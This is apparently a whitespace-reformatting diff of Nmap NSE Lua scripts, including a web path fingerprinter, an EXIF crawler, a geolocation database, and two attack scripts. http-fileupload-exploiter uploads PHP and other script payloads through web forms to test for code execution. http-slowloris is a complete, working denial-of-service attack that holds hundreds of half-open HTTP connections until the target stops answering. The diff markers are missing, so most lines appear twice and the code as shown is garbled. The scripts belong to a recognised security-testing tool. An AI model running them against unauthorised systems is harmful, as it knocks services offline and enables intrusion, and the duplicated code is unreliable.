for k, value in ipairs(matches) do
output = string.gsub(output, '\\' .. k, matches[k])
end
end
else
output = match.output
end
if(result) then
local path = basepath .. probe['path']
local good = true
local output = nil
-- Unless this check said to ignore 404 messages, check if we got a valid page back using a known 404 message.
if(fingerprint.ignore_404 ~= true and not(http.page_exists(result, result_404, known_404, path, displayall))) then
good = false
else
-- Loop through our matches table and see if anything matches our result
for _, match in ipairs(fingerprint.matches) do
if(match.match) then
local result, matches = http.response_contains(result, match.match)
if(result) then
output = match.output
good = true
for k, value in ipairs(matches) do
output = string.gsub(output, '\\' .. k, matches[k])
end
end
else
output = match.output
end
-- If nothing matched, turn off the match
if(not(output)) then
good = false
end
-- If nothing matched, turn off the match
if(not(output)) then
good = false
end
-- If we match the 'dontmatch' line, we're not getting a match
if(match.dontmatch and match.dontmatch ~= '' and http.response_contains(result, match.dontmatch)) then
output = nil
good = false
end
-- If we match the 'dontmatch' line, we're not getting a match
if(match.dontmatch and match.dontmatch ~= '' and http.response_contains(result, match.dontmatch)) then
output = nil
good = false
end
-- Break the loop if we found it
if(output) then
break
end
end
end
-- Break the loop if we found it
if(output) then
break
end
end
end
if(good) then
-- Save the path in the registry
http.save_path(stdnse.get_hostname(host), port.number, path, result.status)
if(good) then
-- Save the path in the registry
http.save_path(stdnse.get_hostname(host), port.number, path, result.status)
-- Add the path to the output
output = string.format("%s: %s", path, output)
-- Add the path to the output
output = string.format("%s: %s", path, output)
-- Build the status code, if it isn't a 200
if(result.status ~= 200) then
output = output .. " (" .. http.get_status_string(result) .. ")"
end
-- Build the status code, if it isn't a 200
if(result.status ~= 200) then
output = output .. " (" .. http.get_status_string(result) .. ")"
end
stdnse.print_debug(1, "Found a valid page! %s", output)
stdnse.print_debug(1, "Found a valid page! %s", output)
table.insert(response, output)
end
end
end
end
table.insert(response, output)
end
end
end
end
return stdnse.format_output(true, response)
return stdnse.format_output(true, response)
end

View File

@@ -500,27 +500,27 @@ function action(host, port)
return string.match(url.file, "%.jpg") or string.match(url.file, "%.jpeg")
end
local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME, whitelist = { whitelist }} )
local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME, whitelist = { whitelist }} )
if ( not(crawler) ) then
return
end
if ( not(crawler) ) then
return
end
while(true) do
while(true) do
-- Begin the crawler
local status, r = crawler:crawl()
local status, r = crawler:crawl()
-- Make sure there's no error
if ( not(status) ) then
if ( r.err ) then
return stdnse.format_output(false, r.reason)
else
break
end
end
if ( not(status) ) then
if ( r.err ) then
return stdnse.format_output(false, r.reason)
else
break
end
end
-- Check if we got a response, and the response is a .jpg file
if r.response and r.response.body and r.response.status==200 and (string.match(r.url.path, ".jpg") or string.match(r.url.path, ".jpeg")) then
if r.response and r.response.body and r.response.status==200 and (string.match(r.url.path, ".jpg") or string.match(r.url.path, ".jpeg")) then
local status, result
stdnse.print_debug(1, "Attempting to read exif data from %s", r.url.raw)
status, result = parse_jpeg(r.response.body)
@@ -533,7 +533,7 @@ function action(host, port)
table.insert(results, result)
end
end
end
end
end
return stdnse.format_output(true, results)

View File

@@ -74,76 +74,76 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open
--
-- Note, that more payloads will slow down your scan significaly.
payloads = { { filename = "1.php", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
{ filename = "1.php3", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
-- { filename = "1.php4", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
-- { filename = "1.shtml", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
-- { filename = "1.py", content = "print 123456 + 654321", check = "777777" },
-- { filename = "1.pl", content = "print 123456 + 654321", check = "777777" },
-- { filename = "1.sh", content = "echo 123456 + 654321", check = "777777" },
-- { filename = "1.jsp", content = "<%= 123456 + 654321 %>", check = "777777" },
-- { filename = "1.asp", content = "<%= 123456 + 654321 %>", check = "777777" },
}
{ filename = "1.php3", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
-- { filename = "1.php4", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
-- { filename = "1.shtml", content = "<?php echo 123456 + 654321; ?>", check = "777777" },
-- { filename = "1.py", content = "print 123456 + 654321", check = "777777" },
-- { filename = "1.pl", content = "print 123456 + 654321", check = "777777" },
-- { filename = "1.sh", content = "echo 123456 + 654321", check = "777777" },
-- { filename = "1.jsp", content = "<%= 123456 + 654321 %>", check = "777777" },
-- { filename = "1.asp", content = "<%= 123456 + 654321 %>", check = "777777" },
}
listofrequests = {}
-- Escape for jsp and asp payloads.
local escape = function(s)
return (s:gsub('%%', '%%%%'))
return (s:gsub('%%', '%%%%'))
end
-- Represents an upload-request.
local function UploadRequest(host, port, submission, partofrequest, name, filename, mime, payload, check)
local request = {
host = host;
port = port;
submission = submission;
mime = mime;
name = name;
filename = filename;
partofrequest = partofrequest;
payload = payload;
check = check;
uploadedpaths = {};
success = 0;
local request = {
host = host;
port = port;
submission = submission;
mime = mime;
name = name;
filename = filename;
partofrequest = partofrequest;
payload = payload;
check = check;
uploadedpaths = {};
success = 0;
make = function(self)
local options = { header={} }
options['header']['Content-Type'] = "multipart/form-data; boundary=AaB03x"
options['content'] = self.partofrequest .. '--AaB03x\nContent-Disposition: form-data; name="' .. self.name .. '"; filename="' .. self.filename .. '"\nContent-Type: ' .. self.mime .. '\n\n' .. self.payload .. '\n--AaB03x--'
make = function(self)
local options = { header={} }
options['header']['Content-Type'] = "multipart/form-data; boundary=AaB03x"
options['content'] = self.partofrequest .. '--AaB03x\nContent-Disposition: form-data; name="' .. self.name .. '"; filename="' .. self.filename .. '"\nContent-Type: ' .. self.mime .. '\n\n' .. self.payload .. '\n--AaB03x--'
stdnse.print_debug(2, "Making a request: Header: " .. options['header']['Content-Type'] .. "\nContent: " .. escape(options['content']))
stdnse.print_debug(2, "Making a request: Header: " .. options['header']['Content-Type'] .. "\nContent: " .. escape(options['content']))
local response = http.post(self.host, self.port, self.submission, options, { no_cache = true })
local response = http.post(self.host, self.port, self.submission, options, { no_cache = true })
return response.body
end;
return response.body
end;
checkPayload = function(self, uploadspaths)
for _, uploadpath in ipairs(uploadspaths) do
local response = http.get(host, port, uploadpath .. '/' .. filename, { no_cache = true } )
checkPayload = function(self, uploadspaths)
for _, uploadpath in ipairs(uploadspaths) do
local response = http.get(host, port, uploadpath .. '/' .. filename, { no_cache = true } )
if response.status ~= 404 then
if (response.body:match(self.check)) then
self.success = 1
table.insert(self.uploadedpaths, uploadpath)
end
end
end
end;
}
table.insert(listofrequests, request)
return request
if response.status ~= 404 then
if (response.body:match(self.check)) then
self.success = 1
table.insert(self.uploadedpaths, uploadpath)
end
end
end
end;
}
table.insert(listofrequests, request)
return request
end
-- Create customized requests for all of our payloads.
local buildRequests = function(host, port, submission, name, mime, partofrequest, uploadspaths, image)
for i, p in ipairs(payloads) do
if image then
p['content'] = string.gsub(image, '!!comment!!', escape(p['content']), 1, true)
end
UploadRequest(host, port, submission, partofrequest, name, p['filename'], mime, p['content'], p['check'])
for i, p in ipairs(payloads) do
if image then
p['content'] = string.gsub(image, '!!comment!!', escape(p['content']), 1, true)
end
UploadRequest(host, port, submission, partofrequest, name, p['filename'], mime, p['content'], p['check'])
end
end
@@ -151,179 +151,179 @@ end
-- Check if the payloads were succesfull by checking the content of pages in the uploadspaths array.
local makeAndCheckRequests = function(uploadspaths)
local exit = 0
local output = {"Succesfully uploaded and executed payloads: "}
local exit = 0
local output = {"Succesfully uploaded and executed payloads: "}
for i=1, #listofrequests, 1 do
listofrequests[i]:make()
listofrequests[i]:checkPayload(uploadspaths)
if (listofrequests[i].success == 1) then
exit = 1
table.insert(output, " Filename: " .. listofrequests[i].filename .. ", MIME: " .. listofrequests[i].mime .. ", Uploaded on: ")
for _, uploadedpath in ipairs(listofrequests[i].uploadedpaths) do
table.insert(output, uploadedpath .. "/" .. listofrequests[i].filename)
end
end
for i=1, #listofrequests, 1 do
listofrequests[i]:make()
listofrequests[i]:checkPayload(uploadspaths)
if (listofrequests[i].success == 1) then
exit = 1
table.insert(output, " Filename: " .. listofrequests[i].filename .. ", MIME: " .. listofrequests[i].mime .. ", Uploaded on: ")
for _, uploadedpath in ipairs(listofrequests[i].uploadedpaths) do
table.insert(output, uploadedpath .. "/" .. listofrequests[i].filename)
end
end
end
if exit == 1 then
return output
end
if exit == 1 then
return output
end
listofrequests = {}
listofrequests = {}
end
local prepareRequest = function(fields, fieldvalues)
local filefield = 0
local req = ""
local value
local filefield = 0
local req = ""
local value
for _, field in ipairs(fields) do
if field["type"] == "file" then
filefield = field
elseif field["type"] == "text" or field["type"] == "textarea" or field["type"] == "radio" or field["type"] == "checkbox" then
if fieldvalues[field["name"]] ~= nil then
value = fieldvalues[field["name"]]
else
value = "SampleData0"
end
req = req .. '--AaB03x\nContent-Disposition: form-data; name="' .. field["name"] .. '";\n\n' .. value .. '\n'
end
for _, field in ipairs(fields) do
if field["type"] == "file" then
filefield = field
elseif field["type"] == "text" or field["type"] == "textarea" or field["type"] == "radio" or field["type"] == "checkbox" then
if fieldvalues[field["name"]] ~= nil then
value = fieldvalues[field["name"]]
else
value = "SampleData0"
end
req = req .. '--AaB03x\nContent-Disposition: form-data; name="' .. field["name"] .. '";\n\n' .. value .. '\n'
end
end
return req, filefield
return req, filefield
end
action = function(host, port)
local formpaths = stdnse.get_script_args("http-fileupload-exploiter.formpaths")
local uploadspaths = stdnse.get_script_args("http-fileupload-exploiter.uploadspaths") or {'/uploads', '/upload', '/file', '/files', '/downloads'}
local fieldvalues = stdnse.get_script_args("http-fileupload-exploiter.fieldvalues") or {}
local formpaths = stdnse.get_script_args("http-fileupload-exploiter.formpaths")
local uploadspaths = stdnse.get_script_args("http-fileupload-exploiter.uploadspaths") or {'/uploads', '/upload', '/file', '/files', '/downloads'}
local fieldvalues = stdnse.get_script_args("http-fileupload-exploiter.fieldvalues") or {}
local returntable = {}
local returntable = {}
local result
local foundform = 0
local foundfield = 0
local fail = 0
local result
local foundform = 0
local foundfield = 0
local fail = 0
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME } )
local crawler = httpspider.Crawler:new( host, port, '/', { scriptname = SCRIPT_NAME } )
if (not(crawler)) then
return
end
if (not(crawler)) then
return
end
crawler:set_timeout(10000)
crawler:set_timeout(10000)
local index, k, target, response
local index, k, target, response
while (true) do
while (true) do
if formpaths then
k, target = next(formpaths, index)
if (k == nil) then
break
end
response = http.get(host, port, target)
if formpaths then
k, target = next(formpaths, index)
if (k == nil) then
break
end
response = http.get(host, port, target)
else
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if ( not(status) ) then
if ( r.err ) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
local status, r = crawler:crawl()
-- if the crawler fails it can be due to a number of different reasons
-- most of them are "legitimate" and should not be reason to abort
if ( not(status) ) then
if ( r.err ) then
return stdnse.format_output(true, ("ERROR: %s"):format(r.reason))
else
break
end
end
target = tostring(r.url)
response = r.response
break
end
end
target = tostring(r.url)
response = r.response
if response.body then
local forms = http.grab_forms(response.body)
for i, form in ipairs(forms) do
form = http.parse_form(form)
if form then
local action_absolute = string.find(form["action"], "https*://")
-- Determine the path where the form needs to be submitted.
local submission
if action_absolute then
submission = form["action"]
else
local path_cropped = string.match(target, "(.*/).*")
path_cropped = path_cropped and path_cropped or ""
submission = path_cropped..form["action"]
end
foundform = 1
local partofrequest, filefield = prepareRequest(form["fields"], fieldvalues)
if filefield ~= 0 then
foundfield = 1
-- Method (1).
buildRequests(host, port, submission, filefield["name"], "text/plain", partofrequest, uploadspaths)
result = makeAndCheckRequests(uploadspaths)
if result then
table.insert(returntable, result)
break
end
-- Method (2).
buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths)
buildRequests(host, port, submission, filefield["name"], "image/png", partofrequest, uploadspaths)
buildRequests(host, port, submission, filefield["name"], "image/jpeg", partofrequest, uploadspaths)
result = makeAndCheckRequests(uploadspaths)
if result then
table.insert(returntable, result)
break
end
-- Method (3).
local inp = assert(io.open("nselib/data/pixel.gif", "rb"))
local image = inp:read("*all")
buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths, image)
result = makeAndCheckRequests(uploadspaths)
if result then
table.insert(returntable, result)
else
fail = 1
end
end
else
table.insert(returntable, {"Couldn't find a file-type field."})
end
end
end
if fail == 1 then
table.insert(returntable, {"Failed to upload and execute a payload."})
end
if (index) then
index = index + 1
else
index = 1
end
end
return returntable
if response.body then
local forms = http.grab_forms(response.body)
for i, form in ipairs(forms) do
form = http.parse_form(form)
if form then
local action_absolute = string.find(form["action"], "https*://")
-- Determine the path where the form needs to be submitted.
local submission
if action_absolute then
submission = form["action"]
else
local path_cropped = string.match(target, "(.*/).*")
path_cropped = path_cropped and path_cropped or ""
submission = path_cropped..form["action"]
end
foundform = 1
local partofrequest, filefield = prepareRequest(form["fields"], fieldvalues)
if filefield ~= 0 then
foundfield = 1
-- Method (1).
buildRequests(host, port, submission, filefield["name"], "text/plain", partofrequest, uploadspaths)
result = makeAndCheckRequests(uploadspaths)
if result then
table.insert(returntable, result)
break
end
-- Method (2).
buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths)
buildRequests(host, port, submission, filefield["name"], "image/png", partofrequest, uploadspaths)
buildRequests(host, port, submission, filefield["name"], "image/jpeg", partofrequest, uploadspaths)
result = makeAndCheckRequests(uploadspaths)
if result then
table.insert(returntable, result)
break
end
-- Method (3).
local inp = assert(io.open("nselib/data/pixel.gif", "rb"))
local image = inp:read("*all")
buildRequests(host, port, submission, filefield["name"], "image/gif", partofrequest, uploadspaths, image)
result = makeAndCheckRequests(uploadspaths)
if result then
table.insert(returntable, result)
else
fail = 1
end
end
else
table.insert(returntable, {"Couldn't find a file-type field."})
end
end
end
if fail == 1 then
table.insert(returntable, {"Failed to upload and execute a payload."})
end
if (index) then
index = index + 1
else
index = 1
end
end
return returntable
end

View File

@@ -85,240 +85,240 @@ local Bestopt
-- get time (in miliseconds) when the script should finish
local function get_end_time()
if TimeLimit == nil then
return -1
end
return 1000 * TimeLimit + nmap.clock_ms()
if TimeLimit == nil then
return -1
end
return 1000 * TimeLimit + nmap.clock_ms()
end
local function set_parameters()
SendInterval = stdnse.parse_timespec(stdnse.get_script_args('http-slowloris.send_interval') or '100s')
if stdnse.get_script_args('http-slowloris.runforever') then
TimeLimit = nil
else
TimeLimit = stdnse.parse_timespec(stdnse.get_script_args('http-slowloris.timelimit') or '30m')
end
SendInterval = stdnse.parse_timespec(stdnse.get_script_args('http-slowloris.send_interval') or '100s')
if stdnse.get_script_args('http-slowloris.runforever') then
TimeLimit = nil
else
TimeLimit = stdnse.parse_timespec(stdnse.get_script_args('http-slowloris.timelimit') or '30m')
end
end
local function do_half_http(host, port, obj)
local condvar = nmap.condvar(obj)
if StopAll then
condvar("signal")
return
end
if StopAll then
condvar("signal")
return
end
-- Create socket
local slowloris = nmap.new_socket()
slowloris:set_timeout(200 * 1000) -- Set a long timeout so our socked doesn't timeout while it's waiting
-- Create socket
local slowloris = nmap.new_socket()
slowloris:set_timeout(200 * 1000) -- Set a long timeout so our socked doesn't timeout while it's waiting
ThreadCount = ThreadCount + 1
local catch = function()
-- This connection is now dead
ThreadCount = ThreadCount - 1
stdnse.print_debug(SCRIPT_NAME .. " [HALF HTTP]: lost connection")
slowloris:close()
slowloris = nil
condvar("signal")
end
ThreadCount = ThreadCount + 1
local catch = function()
-- This connection is now dead
ThreadCount = ThreadCount - 1
stdnse.print_debug(SCRIPT_NAME .. " [HALF HTTP]: lost connection")
slowloris:close()
slowloris = nil
condvar("signal")
end
local try = nmap.new_try(catch)
try(slowloris:connect(host.ip, port, Bestopt))
local try = nmap.new_try(catch)
try(slowloris:connect(host.ip, port, Bestopt))
-- Build a half-http header.
local half_http = "POST /" .. tostring(math.random(100000, 900000)) .. " HTTP/1.1\r\n" ..
"Host: " .. host.ip .. "\r\n" ..
"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; " ..
".NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" ..
"Content-Length: 42\r\n"
-- Build a half-http header.
local half_http = "POST /" .. tostring(math.random(100000, 900000)) .. " HTTP/1.1\r\n" ..
"Host: " .. host.ip .. "\r\n" ..
"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; " ..
".NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n" ..
"Content-Length: 42\r\n"
try(slowloris:send(half_http))
ServerNotice = " (attack against " .. host.ip .. "): HTTP stream started."
try(slowloris:send(half_http))
ServerNotice = " (attack against " .. host.ip .. "): HTTP stream started."
-- During the attack some connections will die and other will respawn.
-- Here we keep in mind the maximum concurrent connections reached.
-- During the attack some connections will die and other will respawn.
-- Here we keep in mind the maximum concurrent connections reached.
if Sockets <= ThreadCount then Sockets = ThreadCount end
if Sockets <= ThreadCount then Sockets = ThreadCount end
-- Maintain a pending HTTP request by adding a new line at a regular 'feed' interval
while true do
if StopAll then
break
end
stdnse.sleep(SendInterval)
try(slowloris:send("X-a: b\r\n"))
ServerNotice = " (attack against " .. host.ip .. "): Feeding HTTP stream..."
Queries = Queries + 1
ServerNotice = ServerNotice .. "\n(attack against " .. host.ip .. "): " .. Queries .. " queries sent using " .. ThreadCount .. " connections."
end
slowloris:close()
ThreadCount = ThreadCount - 1
condvar("signal")
-- Maintain a pending HTTP request by adding a new line at a regular 'feed' interval
while true do
if StopAll then
break
end
stdnse.sleep(SendInterval)
try(slowloris:send("X-a: b\r\n"))
ServerNotice = " (attack against " .. host.ip .. "): Feeding HTTP stream..."
Queries = Queries + 1
ServerNotice = ServerNotice .. "\n(attack against " .. host.ip .. "): " .. Queries .. " queries sent using " .. ThreadCount .. " connections."
end
slowloris:close()
ThreadCount = ThreadCount - 1
condvar("signal")
end
-- Monitor the web server
local function do_monitor(host, port)
local general_faults = 0
local request_faults = 0 -- keeps track of how many times we didn't get a reply from the server
local general_faults = 0
local request_faults = 0 -- keeps track of how many times we didn't get a reply from the server
stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: Monitoring " .. host.ip .. " started")
stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: Monitoring " .. host.ip .. " started")
local request = "GET / HTTP/1.1\r\n" ..
"Host: " .. host.ip ..
"\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; " ..
".NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n\r\n"
local opts = {}
local _
local request = "GET / HTTP/1.1\r\n" ..
"Host: " .. host.ip ..
"\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; " ..
".NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n\r\n"
local opts = {}
local _
_, _, Bestopt = comm.tryssl(host, port, "GET / \r\n\r\n", opts) -- first determine if we need ssl
_, _, Bestopt = comm.tryssl(host, port, "GET / \r\n\r\n", opts) -- first determine if we need ssl
while not StopAll do
local monitor = nmap.new_socket()
local status = monitor:connect(host.ip, port, Bestopt)
if not status then
general_faults = general_faults + 1
if general_faults > 3 then
Reason = "not-slowloris"
DOSed = true
break
end
else
status = monitor:send(request)
if not status then
general_faults = general_faults + 1
if general_faults > 3 then
Reason = "not-slowloris"
DOSed = true
break
end
end
status, _ = monitor:receive_lines(1)
if not status then
stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: Didn't get a reply from " .. host.ip .. "." )
monitor:close()
request_faults = request_faults +1
if request_faults > 3 then
if TimeLimit then
stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: server " .. host.ip .. " is now unavailable. The attack worked.")
DOSed = true
end
monitor:close()
break
end
else
request_faults = 0
general_faults = 0
stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: ".. host.ip .." still up, answer received.")
stdnse.sleep(10)
monitor:close()
end
if StopAll then
break
end
end
end
while not StopAll do
local monitor = nmap.new_socket()
local status = monitor:connect(host.ip, port, Bestopt)
if not status then
general_faults = general_faults + 1
if general_faults > 3 then
Reason = "not-slowloris"
DOSed = true
break
end
else
status = monitor:send(request)
if not status then
general_faults = general_faults + 1
if general_faults > 3 then
Reason = "not-slowloris"
DOSed = true
break
end
end
status, _ = monitor:receive_lines(1)
if not status then
stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: Didn't get a reply from " .. host.ip .. "." )
monitor:close()
request_faults = request_faults +1
if request_faults > 3 then
if TimeLimit then
stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: server " .. host.ip .. " is now unavailable. The attack worked.")
DOSed = true
end
monitor:close()
break
end
else
request_faults = 0
general_faults = 0
stdnse.print_debug(SCRIPT_NAME .. " [MONITOR]: ".. host.ip .." still up, answer received.")
stdnse.sleep(10)
monitor:close()
end
if StopAll then
break
end
end
end
end
local Mutex = nmap.mutex("http-slowloris")
local function worker_scheduler(host, port)
local Threads = {}
local obj = {}
local condvar = nmap.condvar(obj)
local i
local Threads = {}
local obj = {}
local condvar = nmap.condvar(obj)
local i
for i = 1, 1000 do
-- The real amount of sockets is triggered by the
-- '--max-parallelism' option. The remaining threads will replace
-- dead sockets during the attack
local co = stdnse.new_thread(do_half_http, host, port, obj)
Threads[co] = true
end
for i = 1, 1000 do
-- The real amount of sockets is triggered by the
-- '--max-parallelism' option. The remaining threads will replace
-- dead sockets during the attack
local co = stdnse.new_thread(do_half_http, host, port, obj)
Threads[co] = true
end
while not DOSed and not StopAll do
-- keep creating new threads, in case we want to run the attack indefinitely
repeat
if StopAll then
return
end
while not DOSed and not StopAll do
-- keep creating new threads, in case we want to run the attack indefinitely
repeat
if StopAll then
return
end
for thread in pairs(Threads) do
if coroutine.status(thread) == "dead" then
Threads[thread] = nil
end
end
stdnse.print_debug(SCRIPT_NAME .. " [SCHEDULER]: starting new thread")
local co = stdnse.new_thread(do_half_http, host, port, obj)
Threads[co] = true
if ( next(Threads) ) then
condvar("wait")
end
until next(Threads) == nil;
end
for thread in pairs(Threads) do
if coroutine.status(thread) == "dead" then
Threads[thread] = nil
end
end
stdnse.print_debug(SCRIPT_NAME .. " [SCHEDULER]: starting new thread")
local co = stdnse.new_thread(do_half_http, host, port, obj)
Threads[co] = true
if ( next(Threads) ) then
condvar("wait")
end
until next(Threads) == nil;
end
end
action = function(host, port)
Mutex("lock") -- we want only one slowloris instance running at a single
-- time even if multiple hosts are specified
-- in order to have as many sockets as we can available to
-- this script
Mutex("lock") -- we want only one slowloris instance running at a single
-- time even if multiple hosts are specified
-- in order to have as many sockets as we can available to
-- this script
set_parameters()
set_parameters()
local output = {}
local start, stop, dos_time
local output = {}
local start, stop, dos_time
start = os.date("!*t")
-- The first thread is for monitoring and is launched before the attack threads
stdnse.new_thread(do_monitor, host, port)
stdnse.sleep(2) -- let the monitor make the first request
start = os.date("!*t")
-- The first thread is for monitoring and is launched before the attack threads
stdnse.new_thread(do_monitor, host, port)
stdnse.sleep(2) -- let the monitor make the first request
stdnse.print_debug(SCRIPT_NAME .. " [MAIN THREAD]: starting scheduler")
stdnse.new_thread(worker_scheduler, host, port)
local end_time = get_end_time()
local last_message
if TimeLimit == nil then
stdnse.print_debug(SCRIPT_NAME .. " [MAIN THREAD]: running forever!")
end
stdnse.print_debug(SCRIPT_NAME .. " [MAIN THREAD]: starting scheduler")
stdnse.new_thread(worker_scheduler, host, port)
local end_time = get_end_time()
local last_message
if TimeLimit == nil then
stdnse.print_debug(SCRIPT_NAME .. " [MAIN THREAD]: running forever!")
end
-- return a live notice from time to time
while (nmap.clock_ms() < end_time or TimeLimit == nil) and not StopAll do
if ServerNotice ~= last_message then
-- don't flood the output by repeating the same info
stdnse.print_debug(SCRIPT_NAME .. " [MAIN THREAD]: " .. ServerNotice)
last_message = ServerNotice
end
if DOSed and TimeLimit ~= nil then
break
end
stdnse.sleep(10)
end
-- return a live notice from time to time
while (nmap.clock_ms() < end_time or TimeLimit == nil) and not StopAll do
if ServerNotice ~= last_message then
-- don't flood the output by repeating the same info
stdnse.print_debug(SCRIPT_NAME .. " [MAIN THREAD]: " .. ServerNotice)
last_message = ServerNotice
end
if DOSed and TimeLimit ~= nil then
break
end
stdnse.sleep(10)
end
stop = os.date("!*t")
dos_time = stdnse.format_difftime(stop, start)
StopAll = true
if DOSed then
if Reason == "slowloris" then
stdnse.print_debug(2, SCRIPT_NAME .. " Slowloris Attack stopped, building output")
output = "Vulnerable:\n" ..
"the DoS attack took "..
dos_time .. "\n" ..
"with ".. Sockets .. " concurrent connections\n" ..
"and " .. Queries .." sent queries"
else
stdnse.print_debug(2, SCRIPT_NAME .. " Slowloris Attack stopped. Monitor couldn't communicate with the server.")
output = "Probably vulnerable:\n" ..
"the DoS attack took " .. dos_time .. "\n" ..
"with " .. Sockets .. " concurrent connections\n" ..
"and " .. Queries .. " sent queries\n" ..
"Monitoring thread couldn't communicate with the server. " ..
"This is probably due to max clients exhaustion or something similar but not due to slowloris attack."
end
Mutex("done") -- release the mutex
return stdnse.format_output(true, output)
end
Mutex("done") -- release the mutex
return false
stop = os.date("!*t")
dos_time = stdnse.format_difftime(stop, start)
StopAll = true
if DOSed then
if Reason == "slowloris" then
stdnse.print_debug(2, SCRIPT_NAME .. " Slowloris Attack stopped, building output")
output = "Vulnerable:\n" ..
"the DoS attack took "..
dos_time .. "\n" ..
"with ".. Sockets .. " concurrent connections\n" ..
"and " .. Queries .." sent queries"
else
stdnse.print_debug(2, SCRIPT_NAME .. " Slowloris Attack stopped. Monitor couldn't communicate with the server.")
output = "Probably vulnerable:\n" ..
"the DoS attack took " .. dos_time .. "\n" ..
"with " .. Sockets .. " concurrent connections\n" ..
"and " .. Queries .. " sent queries\n" ..
"Monitoring thread couldn't communicate with the server. " ..
"This is probably due to max clients exhaustion or something similar but not due to slowloris attack."
end
Mutex("done") -- release the mutex
return stdnse.format_output(true, output)
end
Mutex("done") -- release the mutex
return false
end

File diff suppressed because it is too large Load Diff

View File

@@ -33,48 +33,48 @@ categories = {"discovery","external","safe"}
hostrule = function(host)
local is_private, err = ipOps.isPrivate( host.ip )
if is_private == nil then
stdnse.print_debug( "%s Error in Hostrule: %s.", SCRIPT_NAME, err )
return false
end
return not is_private
local is_private, err = ipOps.isPrivate( host.ip )
if is_private == nil then
stdnse.print_debug( "%s Error in Hostrule: %s.", SCRIPT_NAME, err )
return false
end
return not is_private
end
local MaxmindDef = {
-- Database structure constants
COUNTRY_BEGIN = 16776960,
STATE_BEGIN_REV0 = 16700000,
STATE_BEGIN_REV1 = 16000000,
-- Database structure constants
COUNTRY_BEGIN = 16776960,
STATE_BEGIN_REV0 = 16700000,
STATE_BEGIN_REV1 = 16000000,
STRUCTURE_INFO_MAX_SIZE = 20,
DATABASE_INFO_MAX_SIZE = 100,
STRUCTURE_INFO_MAX_SIZE = 20,
DATABASE_INFO_MAX_SIZE = 100,
-- Database editions,
COUNTRY_EDITION = 1,
REGION_EDITION_REV0 = 7,
REGION_EDITION_REV1 = 3,
CITY_EDITION_REV0 = 6,
CITY_EDITION_REV1 = 2,
ORG_EDITION = 5,
ISP_EDITION = 4,
PROXY_EDITION = 8,
ASNUM_EDITION = 9,
NETSPEED_EDITION = 11,
COUNTRY_EDITION_V6 = 12,
-- Database editions,
COUNTRY_EDITION = 1,
REGION_EDITION_REV0 = 7,
REGION_EDITION_REV1 = 3,
CITY_EDITION_REV0 = 6,
CITY_EDITION_REV1 = 2,
ORG_EDITION = 5,
ISP_EDITION = 4,
PROXY_EDITION = 8,
ASNUM_EDITION = 9,
NETSPEED_EDITION = 11,
COUNTRY_EDITION_V6 = 12,
SEGMENT_RECORD_LENGTH = 3,
STANDARD_RECORD_LENGTH = 3,
ORG_RECORD_LENGTH = 4,
MAX_RECORD_LENGTH = 4,
MAX_ORG_RECORD_LENGTH = 300,
FULL_RECORD_LENGTH = 50,
SEGMENT_RECORD_LENGTH = 3,
STANDARD_RECORD_LENGTH = 3,
ORG_RECORD_LENGTH = 4,
MAX_RECORD_LENGTH = 4,
MAX_ORG_RECORD_LENGTH = 300,
FULL_RECORD_LENGTH = 50,
US_OFFSET = 1,
CANADA_OFFSET = 677,
WORLD_OFFSET = 1353,
FIPS_RANGE = 360,
DMA_MAP = {
US_OFFSET = 1,
CANADA_OFFSET = 677,
WORLD_OFFSET = 1353,
FIPS_RANGE = 360,
DMA_MAP = {
[500] = 'Portland-Auburn, ME',
[501] = 'New York, NY',
[502] = 'Binghamton, NY',
@@ -287,8 +287,8 @@ local MaxmindDef = {
[866] = 'Fresno, CA',
[868] = 'Chico-Redding, CA',
[881] = 'Spokane, WA'
},
COUNTRY_CODES = {
},
COUNTRY_CODES = {
'', 'AP', 'EU', 'AD', 'AE', 'AF', 'AG', 'AI', 'AL', 'AM', 'AN', 'AO', 'AQ',
'AR', 'AS', 'AT', 'AU', 'AW', 'AZ', 'BA', 'BB', 'BD', 'BE', 'BF', 'BG', 'BH',
'BI', 'BJ', 'BM', 'BN', 'BO', 'BR', 'BS', 'BT', 'BV', 'BW', 'BY', 'BZ', 'CA',
@@ -309,8 +309,8 @@ local MaxmindDef = {
